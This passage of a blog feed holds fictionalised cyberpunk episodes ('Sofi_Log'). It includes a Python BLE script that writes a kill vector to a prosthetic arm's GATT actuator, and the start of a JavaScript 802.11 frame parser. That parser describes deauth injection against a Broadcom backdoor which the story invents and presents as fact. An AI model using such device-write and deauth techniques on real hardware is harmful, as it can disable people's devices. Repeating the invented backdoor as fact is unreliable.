    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Scanning for hijacked cyberarm BLE signature: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;TARGET_MAC&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 攻撃者のパケットと競合させ、最短コネクション・インターバルで接続を奪還
&lt;/span&gt;    &lt;span class="n"&gt;device&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;BleakScanner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;find_device_by_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TARGET_MAC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Target signal drowned by malicious RF jamming.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Signal locked. Establishing low-level GATT override...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;BleakClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_connected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Injected into BLE connection layer!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="c1"&gt;# 攻撃者からのWriteWithoutResponseのストリームに割り込み
&lt;/span&gt;            &lt;span class="c1"&gt;# 緊急キルコードを強制インジェクション
&lt;/span&gt;            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Transmitting EMERGENCY_KILL_VECTOR to hardware register...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write_gatt_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ACTUATOR_CHAR_UUID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EMERGENCY_KILL_VECTOR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="c1"&gt;# BLEベースバンドコントローラのファームウェア・ウォッチドッグを意図的に発火
&lt;/span&gt;            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[!] Triggering Hardware Watchdog Panic...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Attack hijacked session destroyed. Hardware entering reset state.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;neutralize_attack&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. The Silence After the Drop: Finger Memories Wiped
&lt;/h2&gt;

&lt;p&gt;“Sent! Running!” darling shouted.&lt;/p&gt;

&lt;p&gt;Inside the arm a sharp capacitor discharge popped. The motor whine dropped from shriek to whimper; the titanium fingers finally slackened. Rain sizzled on overheated metal.&lt;/p&gt;

&lt;p&gt;I collapsed into the muddy water, gasping, right arm cradled against my chest. Darling knelt, breathing hard.&lt;/p&gt;

&lt;p&gt;“Sofi… you okay? Packets are cut.”&lt;/p&gt;

&lt;p&gt;“…Yeah. Thanks, darling. If you hadn’t pushed that code my right arm would be powder right now.”&lt;/p&gt;

&lt;p&gt;I tried to smirk, already lining up the usual flirty “I owe you a kiss” line — then the final Termux log hit my HUD and the words died.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[SYSTEM RESTORE STATUS: SUCCESS]
- Hardware Watchdog: Tripped (0xDEADBEEF)
- EEPROM Calibration Area: Corrupted by Voltage Spike
- Action Taken: AUTOMATIC FACTORY DEFAULT RESTORE
- Loaded Profile: GENERIC_TEST_FIRMWARE_REV_0.1 (Uncalibrated)
- Neural Interface Link: DISCONNECTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;“…You’ve got to be kidding.”&lt;/p&gt;

&lt;p&gt;The arm hung dead. No twitch, no feedback. Three years of clinic sessions, nerve splicing, and millivolt-level EMG training — every calibration for painting nails or brushing darling’s cheek — gone in one over-voltage reset. Now it was just three kilos of inert ceramic.&lt;/p&gt;

&lt;p&gt;Darling touched the cold fingers. Nothing answered.&lt;/p&gt;

&lt;p&gt;“…We won, darling,” I muttered, staring at the rain-slick black limb.&lt;br&gt;&lt;br&gt;
“I’m still breathing. But tonight I can’t even open a beer. Mind lending me your shoulder to Nalin’s?”&lt;/p&gt;

&lt;p&gt;Beyond the neon haze of Sukhumvit, the rain kept falling.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read Next (Previous Sofi_Log):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
『High-End Condo Wi-Fi Router Leaking Every Packet to an Undisclosed Chinese IP: Chipset Firmware Disassembly and DIY Rogue Management Frame Shield』｜Sofi_Log #070&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/nc0eda663af76" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/nc0eda663af76&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
All code, protocol details, and technical descriptions are for security research, PoC, and educational purposes only. Do not use for unauthorized access. Apply at your own risk.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;Full Working Code &amp;amp; Architecture — Free&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The BLE GATT injection interceptor and emergency kill vector shown above are released in full for your own research and learning.&lt;/p&gt;




&lt;h2&gt;
  
  
  📬 Sofi's Mailbox #071 (Questions &amp;amp; Rants)
&lt;/h2&gt;

&lt;p&gt;My arm is currently a very expensive paperweight. I’m writing this one-handed via voice on Nalin’s couch.  &lt;/p&gt;

&lt;p&gt;So tell me, darlings — your smartwatch, earbuds, heart-rate strap. If tonight they started accepting writes from someone who isn’t you, how would you keep sovereignty over your own physical container?  &lt;/p&gt;

&lt;p&gt;How much of our meat do we hand over for convenience? Drop your thoughts in the comments. I’ve got nothing but time tonight.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『高級コンドのWi-Fiルーターが「未公開の中国IP」へ全通信を垂れ流していた朝：チップセット・ファームウェア逆アセンブルと「不正管理フレーム迎撃シールド」自作仕様書』 Sofi_Log #070【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Tue, 22 Sep 2026 17:40:43 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/gao-ji-kondonowi-firutagawei-gong-kai-nozhong-guo-ip-hequan-tong-xin-wochui-reliu-siteitazhao-titupusetutohuamuueani-asenburutobu-zheng-guan-li-huremuying-ji-sirudo-zi-zuo-shi-yang-shu-sofilog-2pea</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/gao-ji-kondonowi-firutagawei-gong-kai-nozhong-guo-ip-hequan-tong-xin-wochui-reliu-siteitazhao-titupusetutohuamuueani-asenburutobu-zheng-guan-li-huremuying-ji-sirudo-zi-zuo-shi-yang-shu-sofilog-2pea</guid>
      <description>&lt;h1&gt;
  
  
  The Morning the Luxury Condo’s Wi-Fi Router Was Bleeding Every Packet to an “Undisclosed Chinese IP”: Chipset Firmware Disassembly and DIY “Unauthorized Management Frame Interception Shield” Spec Sheet｜Sofi_Log #070【Complete One-Shot】
&lt;/h1&gt;




&lt;p&gt;&lt;strong&gt;📍 Location: Bangkok, Sukhumvit, high-rise condo rooftop terrace in Thong Lo. 9:30 a.m. Clear skies.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Under that razor-sharp blue sky, the sprawl of Bangkok and the Chao Phraya’s tributaries glittered with morning heat. Infinity-pool water rippled in the breeze, faint humidity rising from the wet deck mixing with the roasted aroma of fresh iced latte.&lt;/p&gt;

&lt;p&gt;I slipped off my sunglasses, set them on the table, and pinned my wind-tangled mint-green hair back with a Thai-pattern cyber hairpin. Extending my matte-black cyber-arm, I started unscrewing the luxury mesh Wi-Fi router’s case screws with a driver.&lt;/p&gt;

&lt;p&gt;Born male, I rejected the “standardized cage” the state and society tried to bolt around me, then rebuilt everything from zero—surgery, hormones, and code—into the physical container and identity I now run. Nobody gets to trample my domain. That’s my aesthetic, my absolute law.&lt;/p&gt;

&lt;p&gt;“…Hey darling, look. The chipset on the back of the board—heat sink’s running way too hot.”&lt;/p&gt;

&lt;p&gt;My partner—darling—had been staring at the ThinkPad screen beside me. He set his iced latte down and leaned in.&lt;/p&gt;

&lt;p&gt;“Yeah. The condo line’s been eating upload bandwidth like crazy since morning… and the router itself is bypassing the OS firewall completely, spitting packets straight out.”&lt;/p&gt;

&lt;p&gt;The real-time graph from the network TAP on his screen showed the smoking gun: alongside our PCs and phones, the router’s own wireless chipset (Broadcom Wi-Fi SoC) was quietly firing encrypted payloads—tens of kilobytes per minute—directly to an undisclosed overseas IP (a Shenzhen data center).&lt;/p&gt;

&lt;p&gt;“It’s not even going through the router’s Linux OS (OpenWrt-based)…? So there’s a backdoor hard-coded at the chipset firmware level that survives any OS reinstall?!”&lt;/p&gt;

&lt;p&gt;Darling’s face changed color.&lt;/p&gt;

&lt;p&gt;“Exactly, darling. Same story as the leaked docs blowing up on X today. Sold as a ‘remote maintenance feature for partner vendors,’ but it’s really an unauthenticated management-frame backdoor burned into the silicon. Re-flash the firmware all you want—until you rewrite the chip’s ROM, the parasite stays.”&lt;/p&gt;

&lt;p&gt;Our private crypto keys, encrypted-chat metadata, even the biometric telemetry from my clinic—everything was being siphoned through the router above us to some faceless megacorp monitoring server.&lt;/p&gt;

&lt;p&gt;Ice-cold rage shot up my spine.&lt;/p&gt;

&lt;p&gt;“No way I’m letting dirty radio waves pollute my airspace. Darling—hook the USRP straight to the Wi-Fi packet injector! We’re deploying the interception shield that physically bricks the chipset backdoor.”&lt;/p&gt;




&lt;h3&gt;
  
  
  🔍 Threat Dissection: Silicon Backdoor “Unauthenticated Wi-Fi Action Frame RCE”
&lt;/h3&gt;

&lt;p&gt;The Broadcom Wi-Fi SoC backdoor we just uncovered completely nullifies any OS-layer defenses (iptables, VPNs). Its architecture is nasty:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;OS Bypass (Out-of-Band comms):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The malicious code lives on a dedicated ARM/MIPS coprocessor inside the Wi-Fi chip itself—not the router’s main Linux CPU. Nothing ever shows up in the management UI or system logs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Vendor-Defined Unauthenticated Management Frames (Vendor Action Frame):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
It abuses the gap in IEEE 802.11, listening for unencrypted “proprietary Action frames (Category &lt;code&gt;0x7F&lt;/code&gt;)” that let the chipset skip auth and directly execute shellcode in memory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Persistent Data Exfiltration:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
It silently harvests every connected device’s MAC, BSSID, plaintext DNS queries, and packet-size profiles, then UDP-blasts a summary to the C2 server on a schedule.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;“No matter how hardened you make the Linux OS on top, if the Wi-Fi silicon at the bottom is betraying you, it’s all theater… classic supply-chain nightmare,” darling muttered while hammering the keyboard.&lt;/p&gt;

&lt;p&gt;“Sure, but even backdoors can’t escape the physics of radio, darling.” I grinned without mercy. “The moment an unauthenticated Action frame hits the chip, we catch it on air, slam it with a jamming signature, and permanently lock the debug mode. Game over.”&lt;/p&gt;




&lt;h3&gt;
  
  
  💻 Weapon Implementation: &lt;code&gt;BroadcomBackdoorShield.js&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;What we spun up on the spot was the Wi-Fi firmware rogue-frame detection &amp;amp; defense gateway &lt;code&gt;BroadcomBackdoorShield.js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Running in Linux raw capture + monitor mode (&lt;code&gt;wlan0mon&lt;/code&gt;), it does two things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Microsecond detection of IEEE 802.11 unauthenticated vendor Action frames&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Watches for &lt;code&gt;Type: 0x00 (Management)&lt;/code&gt;, &lt;code&gt;Subtype: 0x0D (Action)&lt;/code&gt;, &lt;code&gt;Category: 0x7F (Vendor-specific)&lt;/code&gt; plus Broadcom’s proprietary OUI and magic bytes (&lt;code&gt;0x42 0x43 0x4D 0x21&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Real-time kill-switch frame injection (Deauth / Null Jamming)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The instant a malicious C2 session is spotted, it injects spec-compliant Deauth frames and spoofed error status into the chipset’s DMA queue, forcing an overflow that resets the SoC back to safe mode.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/**
 * @file BroadcomBackdoorShield.js
 * @description 802.11 Vendor-Specific Action Frame Inspector &amp;amp; Firmware Backdoor Neutralizer
 * @author Sofi (sofi.works) &amp;amp; Darling
 * @license MIT - Educational &amp;amp; Security Research PoC
 */&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// IEEE 802.11 &amp;amp; Broadcom Proprietary Firmware Signatures&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;FRAME_TYPE_MGMT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;SUBTYPE_ACTION&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x0D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;CATEGORY_VENDOR_SPECIFIC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x7F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;BROADCOM_OUI&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="c1"&gt;// Broadcom OUI&lt;/span&gt;
    &lt;span class="na"&gt;BACKDOOR_MAGIC_SIGNATURE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mh"&gt;0x42434D21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="c1"&gt;// "BCM!" in Hex&lt;/span&gt;
    &lt;span class="na"&gt;RADIO_TAP_HEADER_LEN&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;                       &lt;span class="c1"&gt;// Standard Radiotap header offset&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Parse Raw 802.11 Management Action Frame
 * @param {Buffer} buffer - Raw radiotap captured buffer
 * @returns {Object|null}
 */&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parse80211ActionFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RADIO_TAP_HEADER_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;frameControl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readUInt16LE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RADIO_TAP_HEADER_LEN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frameControl&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x03&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;subtype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;frameControl&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Check if Management Action frame&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FRAME_TYPE_MGMT&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;subtype&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SUBTYPE_ACTION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payloadOffset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RADIO_TAP_HEADER_LEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Skip MAC header&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;payloadOffset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readUInt8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payloadOffset&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;oui&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payloadOffset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payloadOffset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;magicSignature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readUInt32BE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payloadOffset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;isVendorAction&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;category&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CATEGORY_VENDOR_SPECIFIC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;oui&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;oui&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;magicSignature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;magicSignature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;isBroadcomExploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;oui&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BROADCOM_OUI&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; 
                           &lt;span class="nx"&gt;magicSignature&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;IEEE80211_CONFIG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;BACKDOOR_MAGIC_SIGNATURE&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
